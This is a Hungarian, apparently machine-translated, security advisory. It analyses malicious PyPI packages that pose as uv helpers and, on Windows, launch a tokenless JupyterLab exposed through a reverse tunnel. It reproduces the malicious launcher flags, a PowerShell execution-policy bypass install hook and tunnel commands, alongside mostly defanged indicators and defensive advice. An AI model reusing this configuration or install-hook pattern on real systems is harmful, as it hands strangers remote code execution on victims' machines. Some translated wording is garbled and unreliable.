FauxUV: Hamis PyPI uv csomagok nyitják meg a Jupytert a weben

FauxUV: hamis PyPI UV segítők, amelyek egy nem hitelesített Jupyter szervert nyitnak meg az internet felé

TL, DR

Egy PyPI csomagcsoport kölcsönvette a következő nevet: uv, a gyors és rendkívül népszerű Rust-alapú Python csomagkezelő, hogy uv helpereknek adja ki magukat. Szinte semmilyen valódi funkcionalitást nem szállítanak. Ehelyett egy Windows hasznos adatot szállítanak, amely egy JupyterLab szerver kikapcsolt hitelesítéssel és a későbbi verziókban egy fordított alagúton keresztül közzéteszi a nyilvános interneten.

Ez az egész történet egy sorban: egy megbízható eszköz nevét használjuk csaliként, a JupyterLab-ot pedig távoli kódvégrehajtási motorként. Egy Jupyter szerver bármilyen kódot futtat, amit beírsz egy notebook cella; az egyik üres tokennel indult és minden hálózati interfészhez kötött, egy nyílt interpreter, amelyet bárki vezérelhet, aki el tudja érni a portot.

A klasztert a következőképpen követjük nyomon: FauxUVA két vizsgált csomag a következő. moon-uv (0.0.1 – 0.0.16) és my-magic-uv-helper (0.0.1), ugyanazon üzemeltető tette közzé, és az elemzés időpontjában elérhető a PyPI-n.

Az ökoszisztémaPyPI
Csomagokmoon-uv (0.0.1-0.0.16), my-magic-uv-helper (0.0.1)
Platform célzottWindows
Alapvető viselkedésNem hitelesített JupyterLab szerver, amelyet fordított alagúton keresztül tettek közzé az interneten
Legális eszközökkel visszaélés történtUV, JupyterLab, cloudflared, Pingy

A csali: egy név, amiben már megbízol

uv az elmúlt két év egyik leggyakrabban telepített Python eszköze, tehát „egy segítő a uv„egy olyan csomag, amelyet a fejlesztő gondolkodás nélkül telepít. A FauxUV teljes mértékben erre a névre építi a hitelességét. A csomagok a következőket foglalják magukban: valódi uv telepítő az Astralból – a hasznos adatokban található URL-ek valódi, megbízható tárhelyszolgáltatókra mutatnak –, így egy gyors pillantással csak megbízható hivatkozásokat láthatunk. Egyik csomag sem ad hozzá valójában uv funkcionalitás; a név az egész álca.

JupyterLab, mint RCE motor

A hasznos teher központi eleme egy indító, amely minden védőkorlát eltávolításával elindítja a JupyterLabot:

jupyter server --with jupyterlab   --ip=0.0.0.0            # listen on every interface   --ServerApp.token=""    # no password, no token   --allow_origin='*'      # accept cross-origin connections   --disable_check_xsrf    # allow a remote browser/WebSocket to drive it

Minden egyes zászló eltávolít egy védelmet, és a szállított szkript még megjegyzéseket is tartalmaz (az eredeti kínaiban): az üres token „Kikapcsolja a jelszó- és tokenellenőrzéseket – bárki csatlakozhat.” jupyter labor egy legitim adattudományi IDE, de nemebook a cella tetszőleges kódot hajt végre. Így van konfigurálva és ehhez van kötve 0.0.0.0, megszűnik IDE lenni, és egy nem hitelesített távoli shell lesz a gazdagépen – nincs szükség egyéni kártevő bináris fájlra, csak egy rossz irányba mutató mainstream eszközre.

Két támogató elem teszi ezt elérhetővé és megismételhetővé:

  • Csendes telepítési trigger. A korai verziók PowerShellt futtatnak -ExecutionPolicy Bypass egyenesen setup.py on pip telepítés, a háttérben, elnyomott hibákkal, így gyümölcsmag normálisnak tűnik. A későbbi verziók ugyanazt a primitívet egy pip-uv parancssori eszközt — és teljesen elhagyná a telepítési idejű automatikus futtatást.
  • Nyilvános fordított alagút. Egy szerver bekapcsolva 0.0.0.0 továbbra is csak azok a hosztok érhetik el, amelyek képesek a géphez irányítani. Egy csomagolt modul megnyit egy [Pingy](https://pinggy.io/) SSH fordított alagút, amely a helyi Jupyter portot egy nyilvános címre továbbítja, megszüntetve ezt a korlátot. A szállított szkript egy alternatív útvonalat is tartalmaz – kikommentelve – a Cloudflare használatával fellobbanó felhő és egy netsh port-proxy egy Linode IP-címre, ugyanazon cél dokumentálása különböző infrastruktúrán keresztül.

Összerakva: telepítsd a csomagot, és egy Windows-os gazdagép futtat egy jelszó nélküli JupyterLabot, majd közzéteszi azt a nyílt interneten.

Hogyan fejlődött ki a FauxUV

A FauxUV verziói gyors egymásutánban kerültek kiszállításra, és a hasznos teher triggerpontja is áthaladt rajtuk – emlékeztetőül arra, hogy egyetlen megjelölt verzió ritkán meséli el egy csomag teljes történetét.

Színpad változatok ravasz Mit ad hozzá
Install-hook moon-uv 0.0.1-0.0.3, my-magic-uv-helper 0.0.1 setup.py pip telepítéskor uv telepítés + PATH előtag
CLI-futásidejű moon-uv 0.0.5-0.0.13 pip-uv parancs a jelszó nélküli JupyterLab indító
Alagút moon-uv 0.0.14-0.0.16 pip-uv parancs egy aktív Pingy fordított alagút

Figyelemre méltó, hogy a telepítési idő alatti automatikus futtatás eltávolítása a későbbi, hatékonyabb verziókban – tehát egy csak az életciklusra beállított szkenner hooks az újabb kiadásokat pontozná kevesebb kockázatos, pont fordítva.

A kompromisszum mutatói

A csomag forráskódjának beolvasásával megerősítve; a végpontok megjelölve kommentálta jelen vannak a fájlokban, de az elemzett verzió nem hajtja végre őket. A hálózati indikátorok hatástalanítottak.

típus Mutató
Telepítési parancs powershell -ExecutionPolicy Bypass az eredeti UV telepítő lekérése a pip telepítése során
JupyterLab jelzők --ip=0.0.0.0 --ServerApp.token="" --allow_origin='*' --disable_check_xsrf
Fordított alagút (aktív) free[.]pinggy[.]io:443 helyi továbbítás 127.0.0.1:8888
Alagútgazda (hozzászólva) cloudflared tunnel --url hxxp://127[.]0[.]0[.]1:2718
IP (kommentált) 45[.]79[.]134[.]161 (Linode) keresztül netsh port-proxy
Kitartás előtag %USERPROFILE%\.local\bin a felhasználó PATH-jához

Figyelmeztetésre érdemes viselkedési jelek, ezektől a konkrét karakterláncoktól függetlenül: a pip telepítés ami születik powershell -ExecutionPolicy megkerülése; bármilyen jupyter indítás kombinálása token=”” ahol –ip=0.0.0.0és kimenő SSH-val ide: *.pinggy.io egy fejlesztőből vagy CI-gépből.

Megfigyelt viselkedés és származás

A két csomagnak van egy szerzője és egy metódusa: egy megbízható eszköz neve, csak Windowsra optimalizált kapuzás, hibáktól mentes háttérfuttatás, és megbízható eszközökre való támaszkodás, így egy gyors pillantással csak megbízható URL-eket láthatunk. A forrás kínai nyelvű megjegyzéseket tartalmaz, amelyek világosan leírják a biztonsággal kapcsolatos jelzőket; ezeket megfigyelhető állításokként közöljük a fájlban, nem pedig az indítékra vonatkozó állításként. allow_origin érték és egy colab.bat A fájlnév a Google Colabon keringő informális „helyi futtatókörnyezet megosztása” munkafolyamatokat idézi. Bármi is legyen az eredet, a csomagolt eredmény ugyanaz.

Hatás és útmutatás a védők számára

Kik vannak kitéve a FauxUV-nek? Windows fejlesztők és CI futtatók, akik pip telepítés az egyik ilyen csomag. Egy jelszó nélküli JupyterLab a 0.0.0.0 távoli kódfuttatást tesz lehetővé bárki számára, aki el tudja érni a portot; az alagút megszünteti a „ki érheti el” korlátozást. A szerver a telepítő felhasználóként fut, örökölve a felhasználó fájljait, tokenjeit és felhőalapú hitelesítő adatait.

Miért könnyű elmulasztani. Minden hálózati lánc egy megbízható tárhelyszolgáltatóra mutat – Astral, JupyterLab, fellobbanó felhő, Pingy, Colab. Nincs olyan rosszindulatú bináris fájl, amelyet hashelni kellene, és nincs olyan obfuszkált blob, amelyet dekódolni kellene. A reputáció- és az aláírás-alapú vizsgálat is alábecsüli ezt, ezért a viselkedési kérdés — Mit csinál a gép a csomag telepítésével? — az, aki elkapja.

Tanácsadás:

  • Bármely telepítési idő kezelése powershell -ExecutionPolicy megkerülése buildtörést jelző jelként, bármilyen URL-t is kér le.
  • Figyelmeztetés jupyter üres tokennel indították, és –ip=0.0.0.0; ennek a kombinációnak soha nem szabad megjelennie munkaállomáson vagy futtatóprogramon.
  • Kimenő SSH-kapcsolatok figyelése alagútszolgáltatók felé (*.pinggy.io, *.trycloudflare.com) fejlesztői és CI környezetekből.
  • Telepítés uv [hivatalos forrásából](https://docs.astral.sh/uv/) és légy szkeptikus a harmadik féltől származó „segítő” csomagokkal szemben, amelyek egy amúgy is triviálisan telepíthető eszközt csomagolnak be.
  • Függőségek rögzítése és újbóli ellenőrzése frissítéskor – egy csomagsor verzióról verzióra bővítheti új képességeit.
sca-tools-software-composition-elemző-eszközök
Szoftverkockázatok rangsorolása, elhárítása és biztosítása
Szerezd meg az ingyenes fiókodat.
Nem szükséges hitelkártya.

Biztosítsa szoftverfejlesztését és -szállítását

az Xygeni termékcsomaggal